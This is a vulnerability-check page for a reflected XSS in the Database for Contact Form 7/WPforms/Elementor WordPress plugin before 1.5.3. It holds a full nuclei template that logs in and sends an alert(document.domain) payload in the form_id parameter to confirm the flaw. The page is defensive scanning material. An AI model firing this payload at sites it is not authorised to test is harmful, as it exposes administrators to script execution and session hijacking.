WordPress Database for Contact Form 7, WPforms, Elementor forms < 1.5.3 - Cross-Site Scripting

highseverity

7.1CVSS score

0.5%likelihood of exploitation, next 30 days

41%of all CVEs are less likely

Readycheck to confirm it

Database for Contact Form 7, WPforms, Elementor forms WordPress plugin < 1.5.3 contains a reflected XSS caused by improper sanitization and escaping of a parameter in an admin page, letting attackers execute scripts against admin users, exploit requires admin access.

Impact

Attackers can execute scripts in admin context, potentially leading to session hijacking or full admin control.

Fix

Upgrade to version 1.5.3 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=vxcf_leads&form_id=x%27%3Balert%28document.domain%29//
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "form_id=x';alert(document.domain)//'")

Run it with nuclei: nuclei -id CVE-2026-14870 -u <target>

The full check

id: CVE-2026-14870

info:
  name: WordPress Database for Contact Form 7, WPforms, Elementor forms < 1.5.3 - Cross-Site Scripting
  author: anirbala98
  severity: high
  description: |
    Database for Contact Form 7, WPforms, Elementor forms WordPress plugin < 1.5.3 contains a reflected XSS caused by improper sanitization and escaping of a parameter in an admin page, letting attackers execute scripts against admin users, exploit requires admin access.
  impact: |
    Attackers can execute scripts in admin context, potentially leading to session hijacking or full admin control.
  remediation: |
    Upgrade to version 1.5.3 or later.
  reference:
    - https://wpscan.com/vulnerability/d574b78c-df04-4dab-bd33-e3a22ff51918/
    - https://wordpress.org/plugins/contact-form-entries/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-14870
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2026-14870
    epss-score: 0.00467
    epss-percentile: 0.40791
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: crm-perks
    product: contact-form-entries
    framework: wordpress
    fofa-query: body="/wp-content/plugins/contact-form-entries/"
  tags: cve,cve2026,wordpress,wp-plugin,contact-form-entries,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=vxcf_leads&form_id=x%27%3Balert%28document.domain%29// HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - contains(body, "form_id=x';alert(document.domain)//'")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from